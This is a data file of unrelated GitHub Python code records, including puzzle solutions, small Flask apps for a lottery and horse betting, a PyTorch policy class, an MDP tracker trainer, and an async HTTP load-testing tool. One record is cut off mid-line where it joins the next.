+{"seq_id":"41740149736","text":"import sys\nfrom collections import deque\n\nn,m=map(int,sys.stdin.readline().split(\" \"))\n\narr=[list(map(int,sys.stdin.readline().strip())) for _ in range(n)]\n\nfixed_arr=[]\n\nmove=[[1,-1,0,0],[0,0,1,-1]]\n\nchecked=[[0]*m for _ in range(n)]\n\nque=deque()\n\ncount=0\n\nstack=[] ## 배열들 보관했다가 값 바꿔줌\n\nindex=0\n\nfor i in range(n): ## 먼저 한번 돌리면서 각각 연결되어있는 0들이 몇개씩 연결되있는지 센다음 표시해주고 나중에 구분을 위해 index도 부여해서 리스트로 [겂,인덱스]이렇게 만든다\n for j in range(m):\n if(arr[i][j]==1):\n arr[i][j]=-1\n if(arr[i][j]==0 and checked[i][j]==0):\n count+=1\n checked[i][j]=1\n stack.append([i,j])\n que.append([i,j])\n while(que):\n item=que.popleft()\n for k in range(4):\n x=item[0]+move[0][k]\n y=item[1]+move[1][k]\n if(0<=x\")\ndef show_lottery_details(id):\n lottery = requests.get(f\"http://localhost:5000/lottery/{id}\").json()\n\n txs = lottery['users'] \n \n buffer = BytesIO()\n \n qr_data = f\"tron:{lottery['address']}?token=TRX&amount={lottery['prize']}¬e={lottery['id']}\"\n qr = qrcode.QRCode(version=1, box_size=4, border=1)\n qr.add_data(qr_data)\n qr.make(fit=True)\n\n img = qr.make_image(fill_color=\"#F0B90B\", back_color=\"#2c2c2c\")\n img.save(buffer, format=\"PNG\")\n qr_png = buffer.getvalue()\n qr_base64 = base64.b64encode(qr_png).decode()\n\n return render_template(\"lotto.html\", lottery=lottery, txs=txs, qr=qr_base64)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=4999)","repo_name":"dreistein33/jackpotron","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38194565564","text":"import sys\nimport os\n\nmodels_path = \"models\"\n# this will break any attempt to import xformers which will prevent stability diffusion repo from trying to use it\nif \"--xformers\" not in \"\".join(sys.argv):\n sys.modules[\"xformers\"] = None\n\nif \"--no-half-vae\" not in \"\".join(sys.argv):\n sys.argv.append('--no-half-vae')\nsys.argv.append(f'--clip-models-path={models_path}/CLIP')\n","repo_name":"ChengLong1222/stable-diffusion-webui","sub_path":"modules/import_hook.py","file_name":"import_hook.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"23744291654","text":"#Christan Park\n#worksheet on strings \nimport os\nos.system(\"cls\")\n\n#Question 1: get first middle and last letters\n\n#method 1\na = \"James\"\nprint(len(a)) #number of letter in word\nprint(a[0], end='') #get first letter\nprint(a[2], end='') #put middle letter on same line\nprint(a[4]) #put last letter on same line\n\n#method 2\nword = input('Your word is ') #get word from user\nnumber = (len(word)) #get the number of letters in the word\nfirst = word[0] #get first letter of word\nmiddleNumber = int(number/2) #get the number of the middle digit in word\nmiddle = word[middleNumber] #get the middle letter\nlast = word[number-1] #get last letter\nprint(first+middle+last) #print first middle and last letter together \n\n\n#Question 2: Create a string made of the middle three characters\n\nword = input('Your word is ') #get word from user\nnumber = len(word) #get number of letters in the word\nmiddle2=number//2 #double division -> integer division\nmiddleFirst = word[middle2-1:middle2+2]\nprint(middleFirst)\n#print(\"The middle three characters are:\",word[middle2-1]+word[middle2]+word[middle2+1])\n\n\n#Question 3: Append New string in the middle of a given string\n\nword = input('Your word is ') #get word from user\nword2 = input('Your second word is ') #get seocnd word \nmiddleNumber2 = (len(word)//2) #get which number letter is the middle\nhalf1=len(word)//2 #make half1 = middle letter number \nprint(word[0:half1]+word2+word[half1:len(word)]) #print first word of word1 to half then insert word2 and rest of word with back half of word1\n\n\n#Question 4: Create a new string made of the first, middle, and last characters of each input string\n\nword3 = input('Your word is ') #get word from user\nword4 = input('Your second word is ') #get second word\nfirst1=word3[0] #get first letter of first word\nfirst2=word4[0] #get first letter of second word \nmiddle3=word3[len(word3)//2] #get middle letter of first word\nmiddle4=word4[len(word4)//2] #get middle letter of seocnd word\nlast2=word3[len(word3)-1] #get last letter of first word\nlast3=word4[len(word4)-1] #get last letter of second word\nprint(first1+first2+middle3+middle4+last2+last3) #add all letters together \n\n\n#Question 5:Arrange string characters such that lowercase letters should come first\n\nword5 = input('Your word is ')\nlower = []\nupper = []\nfor characters in word5:\n if characters.islower(): #islower -> returns True if all characters in the string are lower case\n lower.append(characters) #append moves characters to end of list\n else:\n upper.append(characters) #append moves characters to end of list\n\nprint(lower)\nprint(upper)\nsortedWord = ''.join(lower + upper) # join() takes all items and joines them into one string\nprint('Sorted word is ', sortedWord)\n\n#!!!!! Why need ''. before join???? -> https://stackoverflow.com/questions/14868763/global-name-join-is-not-defined-django\n\n\n","repo_name":"parkc25/MorningGameDesign","sub_path":"Introduction/StringsAssignment.py","file_name":"StringsAssignment.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1083096913","text":"file = open(\"aoc21_input.txt\")\nl = file.read().split(\"\\n\")\nfile.close()\n\nd = {}\n\nall_food = set()\namount = {}\n\nfor i in l:\n s = i.split(\" (contains \")\n food = set(s[0].split())\n allergens = s[1][:-1].split(\", \")\n\n all_food |= food\n\n for j in food:\n if j in amount:\n amount.update({j: amount[j]+1})\n else:\n amount.setdefault(j, 1)\n\n for j in allergens:\n if j in d.keys():\n n = d[j] & food\n d.update({j: n})\n else:\n d.setdefault(j, food)\n\nprint(d)\n\nwhile True:\n for i in d.keys():\n if len(d[i]) == 1:\n this_food = list(d[i])[0]\n for j in d.keys():\n if i == j:\n continue\n if this_food in d[j]:\n s = d[j]\n s.remove(this_food)\n d.update({j: s})\n \n looping = False\n for i in d.keys():\n if len(d[i]) > 1:\n looping = True\n if not looping:\n break\n\nprint(d)\n\nrl = []\nfor i in sorted(d.keys()):\n rl.append(list(d[i])[0])\n\nprint(\",\".join(rl))","repo_name":"TimHuisman1703/AdventOfCode","sub_path":"2020/Day 21/aoc21_2.py","file_name":"aoc21_2.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30119032137","text":"\"\"\"\r\n\n\nGiven a list, create a function that returns a dictionary detailing how many\ntimes each element was repeated.\n\n### Examples\n\n count_repetitions([\"cat\", \"dog\", \"cat\", \"cow\", \"cow\", \"cow\"]) ➞ { cow: 3, cat: 2, dog: 1 }\n \n count_repetitions([1, 5, 5, 5, 12, 12, 0, 0, 0, 0, 0, 0]) ➞ { 0: 6, 5: 3, 12: 2, 1: 1 }\n \n count_repetitions([\"Infinity\", \"null\", \"Infinity\", \"null\", \"null\"]) ➞ { \"null\": 3, \"Infinity\": 2}\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\ndef count_repetitions(lst):\n dic1 = {}\n for i in lst:\n if i not in dic1:\n dic1[i] = 1\n else:\n x = dic1[i]\n x += 1\n dic1[i] = x\n return dic1\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"gDtHS9cAy8Fs2X7pH_23.py","file_name":"gDtHS9cAy8Fs2X7pH_23.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2472358080","text":"st = input()\nl = len(st)\nfirstLt = int(st[0])\np = []\nfor i in range(1, l):\n p.append(i)\nlp = len(p)\nif firstLt == lp:\n print(\"TRUE {}\".format(lp))\nelse:\n print(\"FALSE {}\".format(lp))\n\n\"\"\"\ninp: 5hello\nolp: TRUE 5\n\"\"\"\n","repo_name":"rajeswari98/Python-Codes","sub_path":"LetUsCrackCodes/digitalTCS1.py","file_name":"digitalTCS1.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4187488630","text":"from requests_queue.handlers.base import BaseHandler\nfrom requests_queue.serializers.request import RequestSerializer\nfrom requests_queue.domain.requests import Requests\nfrom .utils import parse_body\n\n\nclass RequestsIndexHandler(BaseHandler):\n def initialize(self, db_session):\n self.db_session = db_session\n self.requests_repo = Requests(self.db_session)\n\n def post(self):\n json = parse_body(self.request)\n request = self.requests_repo.create(json[\"creator_id\"], json[\"request\"])\n self.set_status(202)\n self.write(RequestSerializer().dump(request).data)\n\n def get(self, **kwargs):\n creator_id = self.get_argument('creator_id', None)\n requests = self.requests_repo.get_many(creator_id=creator_id)\n serialized_requests = RequestSerializer().dump(requests, many=True).data\n self.write({'requests': serialized_requests})\n","repo_name":"dod-ccpo/requests-queue","sub_path":"requests_queue/handlers/requests_index.py","file_name":"requests_index.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70927137050","text":"'''\r\n\r\nAuthor: Delzad Bamji\r\n'''\r\n\r\nfrom flask import Flask, render_template, request, redirect, g\r\n\r\nimport shelve\r\nfrom flask_restful import Resource, Api, reqparse\r\nimport sqlite3\r\nimport requests\r\nimport pandas as pd\r\nimport json\r\nimport configparser\r\n\r\napp = Flask(__name__)\r\napi = Api(app)\r\n\r\n# def get_db():\r\n# db = getattr(g, '_database', None)\r\n# if db is None:\r\n#\r\n# db = g._database = sqlite3.connect(\"HORSEDATA.db\")\r\n# cur = db.cursor()\r\n# cur.execute(\r\n# \"\"\"create table if not exists {} (\r\n# id integer PRIMARY KEY NOT NULL,\r\n# name text,\r\n# price integer,\r\n# age integer,\r\n# height float,\r\n# sex text)\"\"\".format(\"Horse\")\r\n# )\r\n#\r\n# with open(\"HorsePrices.csv\", \"r\") as f:\r\n# content = f.read().split(\"\\n\")\r\n# i = len(content)\r\n# for line in content:\r\n# if i == 1:\r\n# break\r\n# # print(line)\r\n# line = line.split(\",\")\r\n# sql = \"insert into Horse(id,name,price,age,height,sex) values(\" + line[1] + \",\" + \"'\" + line[\r\n# 2] + \"'\" + \",\" + line[3] + \",\" + line[4] + \",\" + line[5] + \",\" + \"'\" + line[6] + \"'\" + \")\"\r\n# cur.execute(sql)\r\n# i -= 1\r\n#\r\n# return db\r\n\r\n#\r\n# @app.teardown_appcontext\r\n# def teardown_db(exception):\r\n# db = getattr(g, '_database', None)\r\n# if db is not None:\r\n# db.close()\r\n\r\nconfig = configparser.ConfigParser()\r\nconfig.read('configheader.properties')\r\nconfig[\"configheader\"][\"flag\"] = \"False\"\r\nwith open('configheader.properties', 'w') as configfile:\r\n config.write(configfile)\r\n\r\n\r\n\r\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\r\ndef index():\r\n horse_data = \"\"\r\n warning = \"\"\r\n sqlstring = \"\"\r\n endpoint_info={}\r\n querying=\"\"\r\n # if post method is called after form submission\r\n if request.method == \"POST\":\r\n print(\"FORM DATA RECEIVED IN POST METHOD\")\r\n\r\n\r\n# /////////////////////////\r\n\r\n if \"nm\" in request.form:\r\n print(request.form[\"nm\"])\r\n horseName = request.form[\"nm\"]\r\n getSql = \"http://localhost:5000/horses/\"+horseName\r\n print(getSql)\r\n response = requests.get(getSql)\r\n print(response)\r\n json_data = response.json()\r\n horse_data = json_data[\"data\"]\r\n print(json_data)\r\n sqlstring = getSql\r\n endpoint_info=json_data\r\n querying=\"full\"\r\n # -------------------setting config header-----------------------#\r\n config[\"configheader\"][\"flag\"] = \"True\"\r\n with open('configheader.properties', 'w') as configfile:\r\n config.write(configfile)\r\n\r\n if config[\"configheader\"][\"flag\"] == \"True\" or config[\"configheader\"][\"flag\"] == True:\r\n print(\"config is true\")\r\n else:\r\n print(\"config is still false\")\r\n\r\n if \"HorseId\" in request.form:\r\n print(request.form[\"HorseId\"])\r\n if config[\"configheader\"][\"flag\"] == \"True\" or config[\"configheader\"][\"flag\"] == True:\r\n\r\n HorseId = request.form[\"HorseId\"]\r\n HorseId = int(HorseId)\r\n if \"account\" in request.form:\r\n print(request.form[\"account\"])\r\n account = request.form[\"account\"]\r\n account = float(account)\r\n sqlstring=\"http://localhost:5000/horselist\"\r\n response2 = requests.get(sqlstring)\r\n\r\n all_horses = response2.json()[\"data\"]\r\n\r\n listall = list(all_horses[\"HorseID\"].values())\r\n\r\n if HorseId in listall:\r\n\r\n inde = list(all_horses[\"HorseID\"].keys())[list(all_horses[\"HorseID\"].values()).index(HorseId)]\r\n\r\n horse_data = {'id': all_horses[\"HorseID\"][inde], 'name': all_horses[\"name\"][inde], 'Price': all_horses[\"Price\"][inde],\r\n 'Age': all_horses[\"Age\"][inde], 'Height': all_horses[\"Height\"][inde], 'Sex': all_horses[\"Sex\"][inde]}\r\n\r\n if account>= float(horse_data['Price']):\r\n endpoint_info={\"message\":\"Successfully placed a bet on the horse\",\"data\":horse_data}\r\n else:\r\n endpoint_info = {\"message\": \"OOPS!!! Insufficient funds, check the price for the horse and try again\", \"data\": {}}\r\n else:\r\n horse_data=\"{}\"\r\n endpoint_info={\"message\":\"no horse found\",\"data\":{}}\r\n\r\n config[\"configheader\"][\"flag\"] = \"False\"\r\n with open('configheader.properties', 'w') as configfile:\r\n config.write(configfile)\r\n\r\n else:\r\n warning=\"{\\\"message\\\":FATAL ERROR! Please send a query in 1. before placing a bet here,\\\"data\\\":{}}\"\r\n\r\n\r\n else:\r\n # redirect(request.url)\r\n return render_template('index.html', ISO=\"\")\r\n return render_template('index.html', sql_string=sqlstring, horse_data=horse_data, endpoint_info=endpoint_info,querying=querying, warning=warning)\r\n\r\n\r\n# class HorseList(Resource):\r\n\r\n\r\nclass Horse(Resource):\r\n def get(self):\r\n data = pd.read_csv('HorsePricesREST.csv')\r\n data = data.to_dict()\r\n return {\"message\":\"success\",\"data\":data},200\r\n\r\n def get(self, name):\r\n\r\n try:\r\n data = pd.read_csv('HorsePricesREST.csv')\r\n data = data.to_dict()\r\n inde = list(data[\"name\"].keys())[list(data[\"name\"].values()).index(name)]\r\n # print(inde)\r\n obj = {'id': data[\"HorseID\"][inde], 'name': data[\"name\"][inde], 'Price': data[\"Price\"][inde],\r\n 'Age': data[\"Age\"][inde], 'Height': data[\"Height\"][inde], 'Sex': data[\"Sex\"][inde]}\r\n # print(obj)\r\n if not obj:\r\n return {'message': \"no horse found\", \"data\": {}}, 404\r\n else:\r\n return {'message': \"success\", \"data\": obj}, 200\r\n\r\n except Exception as e:\r\n return {'message':\"no horse found\",\"data\":{}},404\r\n\r\n\r\nclass User(Resource):\r\n pass\r\n\r\nclass horseList(Resource):\r\n def get(self):\r\n data = pd.read_csv('HorsePricesREST.csv')\r\n data = data.to_dict()\r\n return {\"message\":\"success\",\"data\":data},200\r\n\r\napi.add_resource(User, '/users')\r\n\r\napi.add_resource(Horse, '/horses/')\r\n\r\napi.add_resource(horseList, '/horselist')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True, threaded=True)\r\n\r\n","repo_name":"delzadbamji/horseRacing-restAPI-Flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72006352090","text":"import torch\nimport math\nimport numpy as np\nimport os\nimport io\nimport copy\nimport ctypes\nimport random\nfrom . import basic\n\nclass NN_policy(object):\n def __init__(self,actor,epsilon):\n self.actor = copy.deepcopy(actor) \n self.epsilon = epsilon \n def inference(self,obs_list):\n with torch.no_grad():\n pos = torch.Tensor(np.vstack([obs.pos for obs in obs_list])).cuda()\n laser_data = torch.Tensor(np.vstack([obs.laser_data for obs in obs_list])).cuda()\n \n action = self.actor(pos,laser_data).cpu().numpy()\n if random.random() int:\n need = sum(nums)%p\n if need ==0:\n return 0\n print(need,\"dfscdscsd\")\n n=len(nums)\n res=n\n dic=defaultdict(int)\n dic[0]=-1\n cur= 0\n for i in range(n):\n cur=(cur+nums[i])%p\n \n if (cur-need)%p in dic:\n res = min(res,i-dic[(cur-need)%p])\n dic[cur]=i\n\n return res if res args.max_iter:\n logger.info('Max iteration exceeds')\n break\n\n if len(np.where(is_good == 0)[0]) == 0:\n\n # two pass training\n if count == args.max_pass:\n break\n else:\n count += 1\n logger.info('***pass {} finished'.format(count))\n # todo change shape from (num_train) to (num_train, 1)\n is_good = np.zeros((num_train, 1))\n is_good[is_difficult == 1] = 1\n counter = np.zeros((num_train, 1))\n t = -1\n # find a sequence to train\n while True:\n t = t + 1\n if t >= num_train:\n t = 0\n if is_good[t] == 0:\n break\n\n if args.is_text:\n logger.info('Tracking sequence {}'.format(t))\n\n dres_gt = dres_train[t]\n\n # first frame\n fr = dres_gt['fr'][0]\n identity = dres_gt['id'][0]\n\n # reset tracker : Transfer the MDP to Tracked.\n tracker.prev_state = 1\n tracker.state = 1\n tracker.target_id = identity\n\n # For LSTM tracker\n tracker.prev_frames = []\n tracker.prev_det_id = []\n\n # start tracking\n while fr <= seq_num:\n if args.is_text:\n logger.info('frame {}, state {}'.format(fr, tracker.state))\n\n # extract detection\n # todo doubt\n index = np.where(dres_det['fr'] == fr)[0]\n dres = sub(dres_det, index)\n num_det = len(dres['fr'])\n\n # inactive\n if tracker.state == 0:\n if reward == 1:\n is_good[t] = 1\n logger.info('sequence {} is good'.format(t))\n break\n\n # active\n elif tracker.state == 1:\n\n # compute overlap\n overlap, _, _ = calc_overlap(dres_gt, 0, dres, np.arange(num_det))\n ind = np.argmax(overlap)\n ov = overlap[ind]\n if args.is_text:\n logger.info('Start first frame overlap {:.2}'.format(ov))\n\n # initialize the LK tracker : Initial the target template\n tracker = lk_initialize(tracker, fr, identity, dres, ind, dres_image)\n tracker.state = 2\n tracker.streak_occluded = 0\n\n # build the dres structure\n dres_one = sub(dres, ind)\n tracker.dres = dres_one\n tracker.dres['id'] = np.array([tracker.target_id])\n tracker.dres['state'] = np.array([tracker.state])\n\n if tracker.is_lstm == 1:\n tracker = add_to_target_queue(tracker, dres_one['fr'], dres_one['id'], args.is_text)\n\n # tracker\n elif tracker.state == 2:\n tracker.streak_occluded = 0\n # todo verify mdp_value\n tracker, _, _ = mdp_value(tracker, fr, dres_image, dres, [], args)\n\n # occluded\n elif tracker.state == 3:\n tracker.streak_occluded = tracker.streak_occluded + 1\n\n # find a set of detections for association\n dres = mdp_crop_image_box(dres, dres_image['Igray'][fr - 1], tracker)\n dres, index_det, ctrack = generate_association_index(tracker, fr, dres)\n index_gt = np.where(dres_gt['fr'] == fr)[0]\n if dres_gt['covered'][index_gt] != 0:\n index_det = []\n tracker, _, f = mdp_value(tracker, fr, dres_image, dres, index_det, args)\n\n if not isempty(index_det):\n # compute reward\n reward, label, f, is_end = mdp_reward_occluded(fr, f, dres_image, dres_gt, dres, index_det, tracker,\n args, args.is_text, logger)\n\n # update weights if negative reward\n if reward == -1:\n tracker.f_occluded = np.vstack((tracker.f_occluded, f))\n tracker.l_occluded = np.append(tracker.l_occluded, label)\n # todo what is happening\n if args.is_sk_svm:\n tracker.svc_occluded = tracker.svc_occluded.fit(tracker.f_occluded, tracker.l_occluded)\n else:\n tracker.w_occluded = svm_train(tracker.l_occluded.tolist(), tracker.f_occluded.tolist(),\n '-c 1 -q -g 1 -b 1')\n logger.info('training examples in occluded state {}'.format(tracker.f_occluded.shape[0]))\n if is_end:\n tracker.state = 0\n\n # Transition to inacitve if lost for a long time\n if tracker.streak_occluded > args.max_occlusion:\n tracker.state = 0\n if len(np.where(dres_gt['fr'] == fr)[0]) == 0:\n reward = 1\n logger.info('Target exits due to long time occlusion')\n\n # check if outside image\n if tracker.state == 2:\n _, ov, _ = calc_overlap(tracker.dres, tracker.dres['fr'].shape[0] - 1, dres_image, fr - 1)\n if ov < args.exit_threshold:\n logger.info('Target outside image by checking boarders')\n tracker.state = 0\n reward = 1\n\n # try to connect recently lost target\n if not (tracker.state == 3 and tracker.prev_state == 2):\n fr = fr + 1\n\n if fr > seq_num:\n is_good[t] = 1\n logger.info('sequence {} is good'.format(t))\n counter[t] = counter[t] + 1\n if counter[t] > max_count:\n is_good[t] = 1\n is_difficult[t] = 1\n logger.info('sequence {} mac iteration'.format(t))\n logger.info('Finish training {}'.format(seq_name))\n\n # save model\n if args.is_save:\n # save SVM\n filename = os.path.join(args.output_dir, args.name, seq_name + '_w_active')\n svm_save_model(filename, tracker.w_active)\n filename = os.path.join(args.output_dir, args.name, seq_name + '_w_occluded')\n svm_save_model(filename, tracker.w_occluded)\n w_active = tracker.w_active\n w_occluded = tracker.w_occluded\n tracker.w_active = None\n tracker.w_occluded = None\n\n filename = os.path.join(args.output_dir, args.name, seq_name + '_tracker.pkl')\n logger.info('Saving the tracker at {}'.format(filename))\n with open(filename, 'wb') as f:\n pickle.dump(tracker, f)\n tracker.w_active = w_active\n tracker.w_occluded = w_occluded\n\n return tracker\n\n\n# if __name__ == '__main__':\n# # Parse cmdline args and setup environment\n# parser = argparse.ArgumentParser(\n# 'Appearance Model',\n# formatter_class=argparse.ArgumentDefaultsHelpFormatter\n# )\n# config.add_args(parser)\n# args = parser.parse_args()\n# mdp_train()\n","repo_name":"TapanBhardwaj/MDP_Python","sub_path":"mdp_function/mdp_train.py","file_name":"mdp_train.py","file_ext":"py","file_size_in_byte":8995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9389155077","text":"import asyncio\nimport copy\nimport json\nimport os\nimport statistics\nimport time\nfrom dataclasses import dataclass\nfrom pathlib import Path\n\nimport httpx\nimport toml\nimport typer\nfrom httpx._exceptions import ConnectTimeout, HTTPError, NetworkError, ReadTimeout\nfrom jinja2 import Template\nfrom tabulate import tabulate\n\nHTTP_METHODS_FUNC_MAPPING = {\n \"GET\": \"make_get_request\",\n \"POST\": \"make_post_request\",\n \"PUT\": \"make_put_request\",\n \"PATCH\": \"make_patch_request\",\n \"DELETE\": \"make_delete_request\",\n}\n\nSUCCESS = typer.style(\"success\", fg=typer.colors.GREEN, bold=True)\nERROR = typer.style(\"error\", fg=typer.colors.RED, bold=True)\nFLOW_ERROR = typer.style(\"FLOW_ERROR\", bg=typer.colors.RED, fg=typer.colors.WHITE, bold=True)\nREQUEST_INFO = typer.style(\"REQUEST_INFO\", bg=typer.colors.GREEN, fg=typer.colors.BLACK, bold=True)\n\nREQUEST_MESSAGE = \"Request {}: name={}, url={}\"\nSTART_MESSAGE = \"Start bloodaxe, number_of_concurrent_flows={}, duration={} seconds\"\nRESPONSE_DATA_CHECK_FAILED_MESSAGE = \"Failed to check response, request={}, \" \"expected data={}, received={}\"\nRESPONSE_STATUS_CODE_CHECK_FAILED_MESSAGE = (\n \"Status code check failed, request={}, \" \"expected status_code={}, received={}\"\n)\nSECONDS_MASK = \"{0:.2f}\"\nDEFAULT_TIMEOUT = 10\n\nTABLE_HEADERS = [\n \"Total success flows\",\n \"Total error flows\",\n \"Total flows\",\n \"Mean time\",\n \"Standard deviation\",\n \"Total time\",\n]\n\nHTTP_EXCEPTIONS = (HTTPError, NetworkError, ReadTimeout, ConnectTimeout)\n\napp = typer.Typer()\n\n\nclass FlowError(Exception):\n pass\n\n\n@dataclass\nclass Flow:\n duration: float = 0\n error: FlowError = None\n success: bool = True\n\n\ndef show_request_message(status, name, url):\n message = REQUEST_MESSAGE.format(status, name, url)\n typer.echo(message)\n\n\ndef replace_with_template(context, data):\n if isinstance(data, dict):\n data = json.dumps(data)\n\n template = Template(data)\n\n return template.render(**context)\n\n\nasync def make_get_request(url, timeout, params=None, headers=None, *args, **kwargs):\n try:\n async with httpx.AsyncClient() as client:\n resp = await client.get(url, params=params, timeout=timeout, headers=headers)\n resp.raise_for_status()\n except HTTP_EXCEPTIONS as exc:\n raise FlowError(f\"An error occurred when make_get_request, exc={exc}\")\n\n return resp\n\n\nasync def make_delete_request(url, timeout, params=None, headers=None, *args, **kwargs):\n try:\n async with httpx.AsyncClient() as client:\n resp = await client.delete(url, params=params, timeout=timeout, headers=headers)\n resp.raise_for_status()\n except HTTP_EXCEPTIONS as exc:\n raise FlowError(f\"An error occurred when make_delete_request, exc={exc}\")\n\n return resp\n\n\nasync def make_put_request(url, data, timeout, headers=None, *args, **kwargs):\n try:\n async with httpx.AsyncClient() as client:\n resp = await client.put(url, json=data, timeout=timeout, headers=headers)\n resp.raise_for_status()\n except HTTP_EXCEPTIONS as exc:\n raise FlowError(f\"An error occurred when make_put_request, exc={exc}\")\n\n return resp\n\n\nasync def make_patch_request(url, data, timeout, headers=None, *args, **kwargs):\n try:\n async with httpx.AsyncClient() as client:\n resp = await client.patch(url, json=data, timeout=timeout, headers=headers)\n resp.raise_for_status()\n except HTTP_EXCEPTIONS as exc:\n raise FlowError(f\"An error occurred when make_patch_request, exc={exc}\")\n\n return resp\n\n\nasync def make_post_request(url, data, timeout, headers=None, *args, **kwargs):\n try:\n async with httpx.AsyncClient() as client:\n resp = await client.post(url, json=data, timeout=timeout, headers=headers)\n resp.raise_for_status()\n except HTTP_EXCEPTIONS as exc:\n raise FlowError(f\"An error occurred when make_post_request, exc={exc}\")\n\n return resp\n\n\ndef check_response_data(request_name, data, expected_data, context):\n expected_data = json.loads(replace_with_template(context, expected_data))\n error_msg = RESPONSE_DATA_CHECK_FAILED_MESSAGE.format(request_name, expected_data, data)\n\n if data != expected_data:\n raise FlowError(error_msg)\n\n\ndef check_response_status_code(request_name, status_code, expected_status_code):\n error_msg = RESPONSE_STATUS_CODE_CHECK_FAILED_MESSAGE.format(\n request_name, expected_status_code, status_code\n )\n\n if status_code != expected_status_code:\n raise FlowError(error_msg)\n\n\ndef check_response(request_name, data, status_code, context, response_check=None):\n if response_check.get(\"data\"):\n check_response_data(request_name, data, response_check[\"data\"], context)\n if response_check.get(\"status_code\"):\n check_response_status_code(request_name, status_code, response_check[\"status_code\"])\n\n\nasync def make_request(context, name, url, method, response_check=None, *args, **kwargs):\n method = method.upper()\n try:\n func = eval(HTTP_METHODS_FUNC_MAPPING[method])\n except KeyError:\n raise FlowError(f\"An error ocurred when make_request, invalid http method={method}\")\n\n resp = await func(url, *args, **kwargs)\n data = resp.json()\n status_code = resp.status_code\n\n if response_check:\n check_response(name, data, status_code, context, response_check)\n\n return data\n\n\ndef show_metrics(flows, total_time):\n success_flows = [flow for flow in flows if flow.success]\n error_flows = [flow for flow in flows if flow.error]\n mean_time = 0\n standard_deviation = 0\n\n if len(success_flows) > 1:\n mean_time = statistics.mean([flow.duration for flow in success_flows])\n standard_deviation = statistics.stdev([flow.duration for flow in success_flows])\n\n row = [\n len(success_flows),\n len(error_flows),\n len(flows),\n SECONDS_MASK.format(round(mean_time, 2)),\n SECONDS_MASK.format(round(standard_deviation, 2)),\n SECONDS_MASK.format(round(total_time, 2)),\n ]\n\n typer.echo(\"\\n\")\n typer.echo(tabulate([row], headers=TABLE_HEADERS))\n\n\ndef from_file(file_path):\n with open(file_path) as f:\n try:\n data = json.load(f)\n except json.JSONDecodeError:\n raise ValueError(f\"Invalid json file, file={file_path}\")\n\n return data\n\n\ndef generate_request_data(context, data):\n if data.get(\"from_file\"):\n data = from_file(data.get(\"from_file\"))\n\n return json.loads(replace_with_template(context, data))\n\n\ndef generate_request_headers(context, headers):\n return json.loads(replace_with_template(context, headers))\n\n\ndef generate_request_params(context, params):\n return json.loads(replace_with_template(context, params))\n\n\ndef make_api_context(api_info):\n context = {}\n for api in api_info:\n context[api[\"name\"]] = {\"base_url\": api[\"base_url\"]}\n\n env_vars = api.get(\"envvars\", {})\n for key, value in env_vars.items():\n context[api[\"name\"]][key] = os.environ[value]\n\n return context\n\n\nasync def run_flow(toml_data, verbose):\n flow_config = copy.deepcopy(toml_data)\n context = make_api_context(flow_config.get(\"api\")) or {}\n start_flow_time = time.time()\n current_flow = Flow()\n\n for request in flow_config[\"request\"]:\n request[\"timeout\"] = request.get(\"timeout\") or DEFAULT_TIMEOUT\n request[\"url\"] = replace_with_template(context, request[\"url\"])\n\n if request.get(\"data\"):\n request[\"data\"] = generate_request_data(context, request[\"data\"])\n\n if request.get(\"params\"):\n request[\"params\"] = generate_request_params(context, request[\"params\"])\n\n if request.get(\"headers\"):\n request[\"headers\"] = generate_request_headers(context, request[\"headers\"])\n\n try:\n result = await make_request(context, **request)\n show_request_message(SUCCESS, request[\"name\"], request[\"url\"])\n if verbose:\n typer.secho(f\"{REQUEST_INFO}: request_name={request['name']}, response={result}\")\n except FlowError as exc:\n show_request_message(ERROR, request[\"name\"], request[\"url\"])\n current_flow.error = exc\n current_flow.success = False\n if verbose:\n typer.secho(f\"{FLOW_ERROR}: {exc}\")\n break\n\n if request.get(\"save_result\"):\n context[request[\"name\"]] = result\n\n current_flow.duration = time.time() - start_flow_time\n\n return current_flow\n\n\nasync def start(toml_data, verbose):\n flows = tuple()\n duration = toml_data[\"configs\"][\"duration\"]\n number_of_concurrent_flows = toml_data[\"configs\"][\"number_of_concurrent_flows\"]\n\n typer.secho(\n START_MESSAGE.format(number_of_concurrent_flows, duration),\n fg=typer.colors.CYAN,\n underline=True,\n bold=True,\n )\n\n start_time = time.time()\n while True:\n elapsed_seconds = time.time() - start_time\n\n if elapsed_seconds >= duration:\n break\n\n results = await asyncio.gather(\n *[run_flow(toml_data, verbose) for _ in range(number_of_concurrent_flows)]\n )\n\n flows += tuple(results)\n\n show_metrics(flows, elapsed_seconds)\n\n\n@app.command()\ndef main(flow_config_file: Path, verbose: bool = False):\n try:\n toml_data = toml.load(flow_config_file)\n except (TypeError, toml.TomlDecodeError):\n typer.echo(\"Invalid toml file\")\n else:\n asyncio.run(start(toml_data, verbose))\n\n\nif __name__ == \"__main__\":\n 